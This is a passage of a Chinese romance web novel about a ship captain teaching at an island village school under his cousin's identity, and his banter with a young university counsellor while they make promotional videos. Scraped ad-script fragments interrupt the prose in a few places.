陈夏柠收回视线,继续点人。 董川抱着纸箱跟上来,里面装满大家制作的树叶面具,“接着。” 周祈越瞥他一眼,两只手都插进裤兜,偏不接着,阔步往前走。 董川比他腿短,非得快步才能跟他并排,小声嘀咕着:“话说,周大少爷你来这学校支教干什么啊?我听我妈说起你的名字,差点以为是个跟你同名的人。” 周祈越目视前方,懒得分给他一个眼神,一副拒绝沟通的模样:“因为我闲的慌。” 董川偏要烦他,嬉笑了声:“那周诚知道你顶着他的身份来支教么?” 闻言,周祈越脚步一顿,偏头看他,眼神锋利:“你什么意思?” “放心,我没告诉我妈,帮你保守着秘密呢。”董川挤出一个示好的笑容,套近乎,“咱俩什么关系啊。” 周祈越啧了一声,董川和周诚玩得好,随时随地把他卖了的关系,开门见山道:“说吧,你想要什么条件。” 不知不觉到达目的地,落日追随学生的脚步,一蜂窝跑进校门,陈夏柠回头发现俩个大男人丢了。 董川把周祈越拦在水泥路,纸箱扔在地上,腰板挺直,整理了下领带,动了动胳膊。 周祈越完全不把人放在眼里的架势,毕竟对方这身板根本不是自己的对手,“怎么,想打架啊?” “我想追陈老师,”董川宣誓主权,指着他要挟,“你不许插手,要给我制造机会。否则我就告诉我妈你冒充周诚,让她把你开除。” “一口一个你妈,你妈宝男啊。”周祈越轻视的语气,似笑非笑,“再说,你喜欢人家,人家看得上你么?” 董川扬起下巴,不服输的架势:“所以我正在追啊,你别坏我好事就行。” 周祈越只觉得他和周诚不愧是好朋友,言行举止一个模子里刻出来的巨婴,小学生把戏上线。 没得到回复,董川目光灼灼地盯着他,将心中的疑问说出来:“你不会喜欢陈老师吧,别告诉我你来着当老师也是为了追人,卧槽,周大少爷,你们之前认识吗?” “......” 周祈越懒得跟他继续周旋,弯腰抱起地上的纸箱,转身回学校,董川还在身后喊着:“小心我告发你啊。” “......” 学生们已经坐上校车离开,周祈越将纸箱放在办公室,转身往门口去,陈夏柠正急匆匆地赶过来,突如其来的迎面碰撞,她身体往后踉跄,周祈越抬手抓住她肩膀。 而后快速松手,周祈越垂下眼看她,恍然失神。 陈夏柠摸了摸额头,急忙解释:“我不是故意人身攻击的,不知道你在这,还以为你和董川回家了。” “......” 周祈越错开眼,指着桌上的纸箱,“放这了。” 陈夏柠歪头看过去,说了声谢谢,想起王小壮今天的举动,问:“他怎么这么听你话了?” 周祈越眉梢微扬,漫不经心道:“当然是被我的魅力征服了。” “......” 陈夏柠咧咧嘴,无言以对。 - 夜晚,周诚家是一栋小别墅,周祈越住在二楼,平日周警官回来的最晚,今天难得在他们吃晚饭的时候赶回来。 正在吃饭的周诚看见父亲,正想着要逃,周警官取下帽子往这边走,目不斜视地盯着自己儿子,周诚贼眉鼠眼地拽了下周祈越的衣袖。 暗示他,接下来无论发什么狂风暴雨,你得替我说话。 周警官坐在儿子面前,给他倒一杯啤酒挪过去,语出惊人:“好小子啊,你最近长进不错,林校长已经跟我说过了。” 周诚愣了下,迷迷糊糊地管它三七二十一,腰板立马挺直了,“没什么,应该的,身为您儿子,我不得给您长长脸嘛。” “......” 周祈越坐在旁边安静夹菜。 周警官捞起筷子,跟他话家常:“说一说,平日你在学校做什么工作?” “啥?!”周诚下意识懵了,眼皮子眨个不停。 周祈越气定神闲地接话茬:“上课,拍摄宣传视频,管住小孩别乱跑。” 周诚当即瞄了眼周祈越,拍着他肩膀,故作谦虚道:“都说了,别往外提,你要提多少遍,我这人低调,做好事不留名是我爸的名言,你瞅瞅你总是打破我的原则。” “......” 周祈越放下碗筷,皮笑肉不笑:“周叔,你好好褒奖一下他吧,因为周诚说了,他以后就赖在希望小学当老师了。” 周诚下巴都要惊掉了。 周警官激动地一拍桌子,乐得合不拢嘴:“太好了,你总算想清楚,选择安稳下来了。” “......不是,我.....” 周诚慌里慌张地抓周祈越,扑了个空,人已经上楼去了。 回到房间,他捞起椅子刚坐在书桌前,有电话打过来。 “周船长,最近还好么?”说话人是同事叶恒,在船上担任大副。 “挺好的。”周祈越打开电脑,开着免提说话,“最近在哪执行任务?” “就在渤海和黄海,”叶恒说起每一位海员共同的顾虑,“已经有家室了,不想像之前那样跑太远的航线,一年半载才能回家。” “如果念家,可以考虑去海事局,转移到内陆。”周祈越顿了一下,“不过你都混到大副了,现在放弃挺可惜。” “是啊,挺为难的。”叶恒话锋陡转,“你身体恢复的怎么样了?什么时候能归船,迎都号没你不行。” “我看目前也没紧要的事。”周祈越不置可否,盯着微信对话框那个有柠檬和企鹅的卡通头像。 他刚上大一那年,高中玩的较好的朋友方承选择了复读。 周祈越趁着周末来找方承,听他诉苦水,顺便带他去一中附近新开的海洋馆散心。 当天场馆入口搭建了一家柠檬汽水的舞台,赞 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 助商联名海洋馆,推出一系列文创品,由于做工精致漂亮,吸引了许多同学。 周祈越正在浏览货架上的挂坠,恍然间透过缝隙瞧见对面的人。 陈夏柠取下了两个同款挂坠,望向左边的男生,江逸风跟一个朋友说话:“这里面的东西真幼稚。” 听到这句话,陈夏柠低下眼,恋恋不舍地将其中一个挂坠放回去。 江逸风手臂勾着朋友的脖子把人拖走,陈夏柠付完款,跑过去跟在他们身后。 周祈越转身去货架的对面,她留下的那只挂坠是北极熊和柠檬,只有这一个了。 他取下来去前台付款,方承凑过去吐槽:“周祈越你一个大老爷们买这种小女生的东西干什么?” 周祈越板着脸:“给我妹买的不行么?” “行行行,走吧。”方承打开手机看地图,“去掉没意思的,离我们最近的就是鬼屋,去体验一下刺激感。” 周祈越没想到他们的路径一致,在鬼屋门口一眼瞧见陈夏柠的身影,大概是因为别人都是无所畏惧的模样,只有她一个人巍巍颤颤地缩在江逸风身后,显得她与周围格格不入。 隧道内阴暗的氛围,基本上很难辨认出谁和谁的模样,偶尔有彩灯打在地面。 陈夏柠在他前面尖叫了声,倒也佩服她这种害怕还要来的人。 于是,周祈越放缓脚步,全程盯着她的背影。 没过一会儿,侧面窜出一个穿红衣服的男人要来偷袭她,周祈越先一步上前,将那只红鬼推到一边。 扮装红鬼的男人就挺...秃然的。 前面还好,袭击的NPC比较少,到了隧道中间,乌泱泱一堆人,NPC知道男生不怕他们,专门去吓唬小姑娘。 江逸风和朋友在前面走着,根本没注意到后面的状况,周祈越漫过人群找到她,情急之下,陈夏柠抽泣着抓住他的衣角:“江逸风,我害怕......” 周祈越心一颤,攥住她的手臂,把人拉到墙壁角落里,小姑娘哭得不成样子。 在她靠在他怀中的那刻,周祈越无措地抬起手,拍着她肩膀,每一次触碰,自己的心跳都格外沉重。 “江逸风,我害怕,你别走。” 她喊的是江逸风,依赖的是江逸风。 从始至终,喜欢的也是江逸风。 此时此刻,周祈越有种难以诉说的情绪涌上心头,不敢再开口,生怕她认出人,让她失望。 他只能小心翼翼地扮演着她的暗恋对象,像一个见不得光的小偷。 松开她后,护送她快到隧道尽头,江逸风跑过来喊她:“快点啊,想不想看企鹅了?” 洞口大亮,陈夏柠满眼欢喜地望着江逸风,点头如捣蒜。 周祈越悄然转身,原路返回。 思绪拉回,周祈越从抽屉里找到那只带有北极熊和柠檬的挂坠在眼前摇晃。 像是冥冥之中早有注定,他们分别选择了北极熊和企鹅,一个在北极,一个在南极。 喜欢你需要跨越世界上最遥远的距离。 陈夏柠上床睡觉快要熄灯时,看见周祈越微信发来的消息,他将海大官方微博发布的视频转给她。 隔着屏幕都能感受到质问的语气:【解释一下,不是说只发到公众号吗?】 19. 周灰狼 估计学校是看宣传视频的播放量不错,官博也发了一遍。 不仅如此,抖音里面也有。 工作群中,王书记艾特她:【陈老师,你的宣传视频不错,记得多拍几个哈。】 视线在微信和企鹅号之间流转,前有狼后有虎的场面,陈夏柠整张脸埋在枕头里,想装死。 暂且权衡一下双方实力,周灰狼和王老虎。 貌似更不好惹的是周灰狼,距离她最近,而且前几天她还信誓旦旦地保证视频不会有什么浏览量,只会发在公众号里。 现在倒好,全平台发布,她不仅侵犯周灰狼的肖像权,还实打实地成为一名诈骗犯。 叮咚一声,微信的周灰狼穷追不舍。 July:【?】 陈夏柠叹了口气,从枕头里探出头,做好被控诉的准备,但她想在暴风雨来临前睡最后一晚好觉。 Lemon:【我睡着了有事明天说,不用怀疑,我在梦游发消息。】 然后什么都不管地将手机静音,倒头就睡。 真是个奇怪的现象,刚来的前几天她睡眠不好,整天醒得比闹钟还早,这两天直接进入贪睡状态,闹钟都没把她吵醒。 再次一觉睡到十点,陈夏柠着实麻了,不紧不慢地去洗漱,顺带看了眼周祈越的消息。 昨晚没回,早上七点回复两个表情包:【[牛][啤酒]】 “......” 她深呼一口气,佯装镇定地走进教学楼,猫在教室外的窗户边查看里面的情况。 讲台上有四个学生正抓耳挠腮,仰望着黑板上的数学题,讲台边缘周祈越坐在小板翘着二郎腿,右手拿着狭长的树条,有节奏地敲着左手心。 没一点老师样,倒像是大街上随便拉来的社会拽哥。 中间两男生一对视,周祈越眼尖地抽出长条,挠痒痒似的戳了下他们的屁股,“不许打小报告。” “......” 好家伙,还动手动脚,那不就是社会流氓了嘛。 视角往后拉,一眼扫过去,台下的学生明显少一半。 陈夏柠暂且不打扰他上课,办公室在前面一排小平房,走过去才发现剩下一半学生在办公楼前踢足球,有两个男人带着他们一起玩。 相比董川的瘦弱,另一名陌生男人明显高一点,体型更壮,但他们的气质都挺痞,实打实的社会流氓类型。 怎么回事? 林校长又拉过来一个儿子来改造了? 陈夏柠开始浮想联翩。 个高的男人应该是哥哥,叫董大川。 她站在办公室门口观望,倒也显眼,走过来的是“董大川”,他没有像董川那样客套地要握手,反而眼神中带着点敌意,凶巴巴地朝她点下巴:“你就是那个陈老师对吧,叫什么名字来着,陈柠檬。” “......” 陈夏柠并没有被他的架势震慑住,因为目前在这个学校,连最不好惹的周祈越都得听她的话,机械地笑了下,报复性地问候:“你好,董大川。” 男人满脸问号挠着头,而后又一副“我懂了”的表情:“周祈越给我取得外号对不对!我就猜这狗东西不干人事。” 说来也巧,周诚和董川整天形影不离,周祈越还真打趣过说,干脆你随他姓,叫董大川算了。 周诚大拇指竖向自己,义正严词道:“听着,我叫周诚,周祈越的堂弟。” 陈夏柠睁大眼有所诧异,随即也学着他的架势,强调自己的名字:“听着,我叫陈!夏!柠!” “......” 此时,头顶的太阳温柔地光芒四射,水泥地上立着两道平行的影子,无形之中带着对峙。 如果换作其他人,周诚不会平白无故地对美女不客气,可是昨晚董川的一番告密,让他笃定周祈越来这支教十有八九是因为眼前的女老师。 原本这事跟他无关,但各种阴差阳错,周警官和校长以为在这支教的老师是他,昨晚的骚操作又莫名让他爸以为他要铁了心在这当老师。 周诚挑了挑眉,挺好奇这女老师何方神圣,也更想乘机抓住周祈越的把柄。 倏忽,另一道高大的身影包裹她,语气不客气得像在为她撑腰:“你来这干什么?” 周诚见到周祈越,嚣张的气焰瞬间消失殆尽,秒变徒有虚表的空壳子:“来看你工作辛不辛苦啊,我亲爱的堂哥。” 陈夏柠瞳孔又放大,挺想笑,好像来朝阳岛碰见的大大小小的男性都挺怕周祈越的。 “你回班看着学生。”周祈越跟她说话,转眼冲他堂弟阴笑了下,“我带这个远房堂弟参观一下学校。” 陈夏柠正想问远房堂弟是什么关系,周祈越二话不说将胳膊架在周诚肩膀,拖着人往东操场方向,走远了。 反正男生之间的友情多半是打闹,陈夏柠没想太多,转回教学楼,暗自庆幸周祈越忘记找她算账。 不过她倒是发愁拍视频的事,早知道随便交最初版本的了,现在王书记还真下命令让她再拍一个,肯定又要全平台发送。 转念一想,她专门逮着周祈越拍视频真的好嘛,毕竟视频热度一高,周祈越不小心成为网红,岂不是对他的生活造成打扰。 就拿他控诉她侵占肖像权这件事来看,周祈越虽然有颜值,但不喜欢在网络上抛头露面。 这样一想,他这人挺低调的。 她所认识的帅哥,要么是家里有钱,要么是凭借颜值在网络上营销,一旦走红,他们就会沉迷当网红明星,曾经什么航海报国梦都抛之脑后。 所以她一直认为,长得帅还在从事航海的人挺难得。 周祈越都落魄成这样了,还拒绝卖颜值。 只能说,厉害,坚持自我。 陈夏柠天马行空一小会儿,没理出解决方案,怎么反而捋出周祈越的优点了。 她双手拍了拍脑子,让这个人从她思绪里拍出去,“别想他,别想他......” 台下自习的同学闻声抬头,齐刷刷看向她。 “......” 陈夏柠这下彻底清醒,发觉自己在讲台上坐着呢,瞧着学生,随机应变:“我是说,别学了,你们可以先休息一会儿再学。” 原本剩下的学生就是没写完暑假作业的,周祈越罚他们留在教室补作业,好不容易听到老师放行的口风,动作一致地放下笔,站起身,跑出教室。 陈夏柠胳膊肘支着桌面,一只手托腮,另一只手转笔,百无聊赖地放空自己。 倏然,周祈越单手揪着周诚后颈的衣领,把人拎到教室,放手,他环住胳膊靠在门框,欣长的体型把门口堵死。 她挪过眼,纳闷这俩人要搞什么飞机。 只见周诚笑意盈盈地走过来,双手合十,鞠躬致歉:“实在对不住,方才我太不礼貌了,多有得罪,您大人不记小人过原谅我吧。” “啪嗒”一声,陈夏柠手中正旋转的钢笔甩出两米远,落地,摔得稀碎。 变脸比翻书还快! 她着实惊到了。 周诚也不想啊,他在外吹牛逼周祈越把车给自己,甚至让车给狐朋狗友开,就在刚才季杨告诉他,黑色大G撞森林里,刮伤了。 那可是周祈越最喜欢的越野车,方才周祈越想灭了他的心都有了,就算卖了他也赔不起。 从此以后,他只能对周祈越唯命是从了。 周诚捡起钢笔,为表诚意,一秃噜嘴:“嫂子,我再赔你一个新的。” 陈夏柠猛然一愣:“什么嫂子?” 正在观望的周祈越咳嗽了一声,无形中隔空喊话,他妈你不会说话就闭嘴,信不信我揍你。 周诚总会弄巧成拙,但也最会化险为夷,大言不惭道:“这是我们朝阳岛的方言,嫂子就是尊称,适用于任何女性,就跟老师,大姐,一个意思。” “......” 陈夏柠哦哦两声,接受他的道歉,也没让他赔钢笔,顺便说:“那你还是别叫我嫂子,只会显得我很老。” “......” 周诚说,他以后也要来希望小学帮忙,新同事加入自然要请吃饭,算是给她赔罪,说什么也要请他们仨吃饭。 董川提议 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' :“要不我们晚上去星月湾吃烧烤吧。” 陈夏柠脸色一横。 “看没看天气预报,晚上海边下雨。”周祈越说了个常去的地方,“青山镇。” 下午学生们一坐上校车,他们四人就商量着出发了,董川有自己的电车,乐呵呵地走过去想喊陈夏柠,谁知周祈越骑着电车横在她面前,“上车。” 这一路,董川跟飙车似的,反超周祈越,非要挡在他前面行驶,坐在后座的周诚看不下去了,一拳头锤过他后脑勺,泼凉水: “你认清现实吧,人家高校辅导员,名牌硕士生会看得上你这个乡巴佬?” “......” 有自知之明这一点,周诚比他强。 四人来到农家小舍吃饭,周祈越和女神活生生坐在他对面,董川就是气不过,其他三人点菜,他点江小白。 “欸,换成啤酒吧。”周祈越跟他说话,“等会还骑不骑车了?” 周诚撇了眼好友的窝囊劲儿,含沙射影道:“让他喝吧,要不然他会窒息的,等会我送他回去。” 一桌上不能让一人喝酒这是规矩,周诚和周祈越以茶代酒,陈夏柠只喝度数较低的啤酒。 吃饭时话家常,周诚只想探陈夏柠的口风,“陈老师怎么想着来朝阳岛支教了?” “我是在考察期的新辅导员,所以要多表现,”陈夏柠说,“至于来朝阳岛也是因为三月份来做航海义讲,认识了一些小朋友,暑假就继续选择这里了。” 周祈越低头夹着菜,漫不经心地插话:“那你们学校的安排挺不合理的,就安排一个人。” 当时学院发了一个义讲的学校名单,导员可以自行选择去哪所学校,最后获知只有她一个人选择朝阳岛,陈夏柠挺意外的但也能理解: “因为这个项目算是占用导员的假期时间,其他同事自然会选择时间较短且离家近的地方,我倒是无所谓,比较空闲,就选择了这个地方。” “关于你思考的那个问题,让更多人来支教,”周祈越撂下筷子,喝了口绿茶悠悠地说,“既然老师不想来,为什么不调动你的学生来呢,你们学校肯定有热爱社会实践的大学生。” 他又非常了解大学生地说:“只要听到加分,报名的人绰绰有余。” 这俩人说的话,董川更是插不上嘴,只能闷头喝酒。 陈夏柠有想过调动学生,有所顾虑地说:“我觉得学生也会像老师那样,倾向于选择其他地方,而不是朝阳岛。” “我们朝阳岛怎么了,”周诚激情澎湃地说,“我们朝阳岛有好多好玩的。” 陈夏柠:“比如?” “比如俊阳山,还有.....”周诚掰着手指头,卡壳地推了下董川,“还有什么?” 董川脸色红成一片,迷迷糊糊地接话:“我妈说,俊阳山死了几个人,游客量大减了。” “......” 好了,这下俊阳山只会吓退学生了。 周诚据理力争:“朝阳岛有鱼、有山、有海、有螃蟹、有椰子、还有我。” “前五个还行,最后一个去掉。”周祈越补刀王上线。 “......” 陈夏柠捂嘴笑了下,周诚的话倒是给自己灵感,“或许我应该宣传朝阳岛,挖掘更多亮点。” “年轻人就喜欢游玩山水,你不妨把视频的重点落到景点和学校日常。”周祈越专注出谋划策,“就是在你上个视频的基础上优化升级,我看上个视频的评论,你们学校的学生关注点跑偏了。” 意思是,那些学生只关照他的盛世美颜了。 周诚朝他揶揄道:“别一口一个你们学校,那不也是你学校?” 周祈越好像从没说过他哪个学校毕业的,她竟然也没问过,陈夏柠匪夷所思地看他,“什么意思,你也是海大毕业的?” 周诚诧异:“搞了半天,你不知道啊,他还是你们学校——” 对上周祈越分分钟能秒人的眼神,周诚意识到自己又说错话了,赶紧峰回路转:“他还是你们学校的粉丝。” “......” 20. 酒鬼 其实周祈越拉他单独谈话,只说让他闭好嘴,其他什么信息都没说。 也就董川知道点皮毛,从校长那了解到,陈夏柠本科海大,在国外读的硕士。 那这样说,他们本科是校友,如果周祈越喜欢陈夏柠的话,周诚推测应该是本科开始的,因为周祈越毕业后整天出海周游世界,也没见他身边有任何异性朋友。 周诚闷头吃菜,悄悄打量着对面俩人,联想了一部久别重逢的戏码。 商议视频的大计倏然切断,陈夏柠不免有些惊讶周祈越跟自己是校友,举起酒杯一饮而尽,侧过身问:“你是哪一级的?” 一眨眼的功夫,她的脸色红得像火烧云,周祈越答非所问:“你晕不晕?” “不晕啊。”陈夏柠歪了下头,目光呆滞,“就是感觉世界有点摇晃。” 周祈越:“......” 董川喝了两瓶江小白彻底趴桌上了,周诚瞄着她的空酒瓶,啧啧咂嘴:“一瓶啤酒还能醉啊,陈老师你平日喝过酒没?” “喝过,”陈夏柠眯着眼睛,一顿一顿地点头,“大三失恋的时候。” “......” 瘫在座位的周诚猛然坐直,先是撇了眼周祈越,他面色沉了沉。 虽然不知什么情况,但笃定俩人都有故事。 周诚立马来了精神,伸着脖子继续套话,“陈老师谈过恋爱?” “谈毛线。” 她双手托脸要倒不倒,下一秒,手掌没撑住左半边脸,身体顺着方向倾倒,周祈越一边喊着“哎哎干嘛呢,别装醉占我便宜”,一边扶住她半边肩膀,给她支力坐稳。 陈夏柠:“......” 周诚一副看戏的神情观摩他两,他怎么还嫌弃上人家了,到底喜不喜欢她啊。 “我们走吧。”周祈越松开手,眼神示意他。 周诚切了声,扫兴地拉董川起来。 陈夏柠晃了晃脑袋让自己清醒,径自出门往外走,步履还算平稳,她自认为已经醒酒了。 周祈越后脚跟上来,递过来一瓶菠萝汁,拧开瓶盖给她:“酒鬼必备。” “......” 陈夏柠肚子撑得难受,现在塞不进半点东西,合上瓶盖解释:“我刚刚就是有点上头,其实没醉,还能开车带你呢。” 周诚半推半就地将董川拉上车,朝他两喊了声,先行一步。 周祈越长腿一迈坐在前座,嗤笑她的话:“你带我?去西天还差不多。” “......” 陈夏柠老实坐在后座,打量着玻璃罐,转移话题:“我只知道蜂蜜水解酒,第一次听说菠萝汁也可以。” 晚风凉爽强烈,周祈越控制好把手的力度,缓慢行驶,“当然可以,菠萝汁解酒很温和,再说你能喝蜂蜜水么?” “不能啊,我对蜂蜜过敏。”陈夏柠细品他问句的语气,好像他知道她蜂蜜过敏似的,犹疑地说,“我之前总有种认识你的错觉,既然咱俩是校友,应该见过面吧。” 周祈越趁机追问:“那你说说看,在哪见过我?” 可能是因为酒后劲的缘故,陈夏柠大脑很懵,完全不能思考的那种,支支吾吾了半天也没说出来。 周祈越:“你套近乎也不打草稿。” “......” 陈夏柠无言以对,打开菠萝汁,低头抿着瓶口,小口品尝,酸甜可口,挺好喝。 周祈越有片刻走神,没注意到路中央有块石头,“咣当”一声撞上去,车子停在半路。 还好骑行的速度不快,陈夏柠只是被闪了下,心有余悸地说:“大哥,你也有可能带我去西天啊。” “......” 周祈越两只脚支在地面,感觉右胳膊有黏糊糊的湿润,偏头一看,她手中瓶口抵在他肩膀,菠萝汁瀑布似的流下来。 陈夏柠啊了声,将瓶身拿到一边,“抱歉抱歉。” 刚好也快到学校,周祈越将车骑到校园内,在路灯下看清楚身上的惨状,他蓝色衬衫被果汁染成一大片黄色。 陈夏柠挺惭愧的,说什么也要带他去公浴简单清洗一下,目前那地方只有她一人在用。 周祈越脱掉衬衫放在水槽边缘,白色短袖也有颜色,陈夏柠从宿舍里拎一个盆过来,刚把他的衬衫放进去。 周祈越浑然不在意地说:“丢了吧,别洗了。” 她闯的祸就得她承担,陈夏柠坚持要把他衬衫洗干净,拧开水龙头,往盆里放洗衣液。 周祈越弓着身体,对准水龙头冲洗胳膊,男人侧脸直到脖颈,勾勒出一道流畅的曲线,肩膀挺阔,手臂坚实有料。 随着他捋起短袖,大概是三角肌部位有一道刮痕,应该挺深,有针线缝合的痕迹。 陈夏柠眨了下眼,忘记移开目光,周祈越急忙将袖子捋下来,下巴一抬:“你就是这么洗衣服的?” 原本她正在倒洗衣液,光顾着看他,忘记收回手,现在盆里的水和洗衣液溢满。 “......” 陈夏柠慌张放下洗衣液,关掉水龙头,迷迷瞪瞪地站在水池前。 周祈越偏头看她,意味不明地笑了笑:“某人还说自己没醉,我看你现在醉的很——” “而且是醉翁之意不在酒。” “......” 周祈越离开后,陈夏柠赶紧回宿舍用被子捂着脸,一觉睡到天明。 第二天彻底清醒,她坐在床上傻愣了好久,回忆昨晚的言行举止,特后悔喝酒,因为她醉不醉自己也分不清,状态一会儿正常一会儿不正常的,还会做各种蠢事。 太丢脸了。 虽然周祈越是帅哥,但也不能光明正大地盯着他啊! 他这个人多自恋,以后在他面前真就是跳进黄河也洗不清了。 陈夏柠拖着懒洋洋的身体到公共浴室洗漱,昨天她洗好衬衫挂在浴室外的绳子上面,现在她找了一圈也没找到。 周祈越来过了? - 早上八点半,办公室里有林梅、周祈越和董川,唯独没有周诚。 他所说的来这支教不过是说说而已,周诚仔细想了一宿,既然周祈越想待在这里,让他继续顶着周警官的儿子给他刷好感,何乐而不为呢。 况且周祈越也不想他来。 林梅正坐在电脑桌耐心教儿子怎么给学生上课,董川年纪略微小一点,大学刚毕业两年,一直找不到好工作,自己备受挫,干脆回老家了。 林梅逐渐放低对儿子的期望值,想着让他当小学老师也行。 陈夏柠现在还没脸主动跟周祈越搭话,只是安静地坐在办公桌打开电脑给自己找事做,但周祈越的位置就在她隔壁,沉默半响,男人伸手敲了敲她桌面。 陈夏柠的注意力分过去。

'');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' > 他侧着身体,手腕支着后脑勺,撩起眼皮看她,碍于有其他俩人,声音很轻:“我衣服干了没?” 陈夏柠怔懵了几秒:“等我找到了再回答你。” “......”周祈越挑眉,缓缓道,“丢了?” 她咬着唇点点头:“应该、是吧。” 周祈越似信非信地觑她,语气戏谑:“没事儿,一件衣服而已,你要保存着也行。” “......” 陈夏柠装腔作势地看电脑屏幕,不意外他这回答,属实麻了,懒得解释了。 还有十分钟就要上课了,林梅拍拍手掌召集大家开个小会,声称最近工作空闲可以常来学校。 陈夏柠简单汇报最近学生的状况,顺便提了一嘴拍宣传视频,调动大学生来朝阳岛支教的事。 林梅眼前一亮,兴味盎然地追问:“你们准备怎么拍,拍什么?” “陈老师有摄像机,我有无人机。”周祈越瞧她一眼,从座位起身,跃然加入话题,“既然是宣传朝阳岛,就要多走走多看看,把岛上的特色和亮点挖掘出来,类似于旅游宣传片。” 说到这,他不禁吐槽朝阳岛连个像样的旅游宣传片都没有,能有游客来这旅游也是神奇。 陈夏柠附和着点头,简明扼要跟校长传达概念:“这个时代酒香也怕巷子,网上有很多通过短视频传播带动地区发展,我们初步要做的就是拍出优质内容。” 林梅虽长期待在与世隔绝的朝阳岛但也是个紧跟时代的人,既然陈夏柠和周祈越这么有想法,她快速理出一套安排:“这样吧,以后你俩每天上半天的课,剩下半天交给我和小川,你俩外出拍摄。” 陈夏柠和周祈越相视一望,没吭声。 倒是董川,“啪”的一声将课本摔在桌面,气冲冲地扭头就走。 林梅捋起袖子,出门追问:“你这个臭小子,发什么神经?” “......” - 上午总共就两节课,陈夏柠上完就轮到周祈越,她跑回公共浴室反复确认了一遍就是没有,想着是不是被风吹走了。 昨晚的风很大吗? 不会刮到学校外面了吧。那这样更找不到了。 这岛上的天气她算是找准规律了,下午两点是夏天和秋天的分水岭,两点往后空气凉爽,很适合出行。 为了不辜负校长给的半天假期,他们今天就行动,陈夏柠带好装备坐上后座时,正儿八经地告知他的衬衫应该是被风刮走了。 “行了,丢了就丢了。”周祈越拧动把手,电车开始移动,“反正我有很多条。” 她正想说赔他一件,结果他先入为主:“别跟我说你要赔的话,否则我真以为你对我图谋不轨。” 陈夏柠茫然:“嗯?” “先是假装不小心把我衣服弄脏,然后带我去清洗,给我洗衣服时趁机偷看我,第二天告诉又我衣服丢了,要赔我一条。” 周祈越有条不紊地缕清逻辑,轻笑了声,“追人套路就是这样循环让自己跟对方有牵扯,我都能预测下一步有什么意外了。” “......” 陈夏柠真服了他了,悄悄在背后竖个大拇指:“你放心,我没打算赔你。” 周祈越偏头瞅了眼后视镜,含沙射影地咬重后四个字:“我知道,你没有图谋不轨。” “......” 21. 保护神 朝阳岛大多是乡镇,唯一一座县城位置挺偏,差不多花费半小时找到梧桐县。 真就如其名,这里遍地梧桐树。 陈夏柠站在柏油路边,一抬头,蓝色幕布罩着巍峨的山峦,俊阳山像小城的守护神,山顶的云层远在天边又近在眼前。 “走吧。” 周祈越停好电车折回来喊她,一手拎着无人机,一手拿着操纵手柄。 陈夏柠没想到他还真有无人机,对这玩意挺感兴趣,“让我见识见识你的技术。” 眼前这条路空旷宽敞,没什么人,周祈越将无人机放到地上,握住操纵柄,按下启动键,嗖的一下无人机窜到他们头顶。 他的操作台上有个显示屏,上面实时显示航拍画面,在画面中,他们成为梧桐大道上渺小的两个点。 周祈越操作很熟练,掌握视频运镜,一下子拍摄到整个小城,场景再往下拉,转移到最热闹的商贸区域。 陈夏柠站在他旁边,专注盯着屏幕,他往哪走她就跟着。 她惊叹地哇了声:“你无人机操作这么厉害啊。” “我厉害的地方多着呢,忘记告诉你了,”周祈越垂着眼,引以为傲地,“我其实还会——” 陈夏柠目光移开屏幕,他也朝她看一眼,语气平平道:“开飞机。” “噢,我也忘记告诉你了。”她将额前的碎发捋别到耳后,仰起头看向前方,“我其实还会开坦克。” “......” 周祈越眉梢微扬,偏头看她:“我认真的。” 既然他演技这么好,陈夏柠不介意让自己更逼真点,郑重其事地点头:“我也是认真的!” “......” 沿着这条路一直往前走,商场附近车水马龙,各种流动小摊汇聚一堂,路上行人慢悠悠并肩散步。 她不禁举起相机,镜头中每一帧画面都流露出独属小城市的慢节奏。 卖糖葫芦的老爷爷,十字路口指挥的交警,花店门口的栀子花,还有不经意闯进镜头的少年少女们...... “哇,我要喝那个。”一位扎着公主头的女孩子喊着同伴们,冲向她身后的店面。 陈夏柠回头望过去,他们进了一家当地特色的奶茶店。 周祈越收好无人机越过她肩膀,朝那家店走,“去歇会儿吧,看你眼睛都要直了。” “......” 陈夏柠把摄像机放包里,跟在他身后小声嘀咕着,明明就是你自己想喝。 这家店不能在手机上点单非得排队,而且前面的人挺多,她正想说算了,周祈越指着门口的大屏幕说:“你想要什么口味的?” 陈夏柠也没喝过,指着招牌最火热的随便选了一个。 “那行,你进去等着。”周祈越站在队伍后面,眼神示意她去店里先坐着。 进屋后,目测队伍缓慢,她把包放到桌上,捞起手机刷短视频,想查找一下网络博主怎么拍摄取景的,看完之后,又拿起摄像机,对比自己拍的。 “姐姐,可以用你相机给我们拍个照吗?” 陈夏柠闻声抬头,是方才那位扎着公主头的女孩子,她自我介绍名叫云希,十七岁,趁着假期和朋友来这游玩。 “你放心,我们不白嫖的,可以付钱。”云希露出真诚的目光,水灵灵的眼睛挺招人喜欢。 陈夏柠方才就是被她吸引过来的,欣然起身,跟他们来到外面的空舞台,云希带着其他两位女生站上去摆姿势,陈夏柠干脆站在台下给他们拍照。 他们笑得那么开心,拍摄的人也忍不住多拍几张。 忽然,有位中年大叔冲到舞台上面,指着学生们大吼:“这是我们赞助商搭建的舞台,谁让你们在这拍照的,谁允许你们上来的?!” 陈夏柠恍然察觉到不对劲,这舞台半成品,仔细一瞅,绿色背景板真像某个牌子的绿茶。 云希走上前毫不客气地说:“我也是看别人在这拍照所以上来了,既然不允许,你们不挂个牌子别人怎么知道啊,也没人事先说明啊。” 大叔脸色一黑,直接上手揪住她的头发,暴跳如雷:“小丫头片子,大人说话,有你顶嘴的份吗?” 云希啊了声,其他两位女生一起上前维护她,对那个大叔拳打脚踢,但她们仨个瘦弱的女生比不上大叔的蛮力。 陈夏柠急忙跑上前试图调节,先是帮他们让大叔松手,“不好意思,我们不知道这不能拍照,现在就走。” 大叔一把将三个女孩推倒,看到陈夏柠以及她手里的摄像机,气势汹汹的眼神立马瞄准她。 “你是大人是吧,怎么管小孩的!”大叔顶着雄壮的身躯,边说边朝她走过来,甚至要抢她的摄像机,“把照片删掉!” 人怎么能这么急躁,唾沫星子乱飞,也不给她还口的机会。 陈夏柠被他逼得直往后退,双手抵在额头,重复说着:“你冷静一点。” 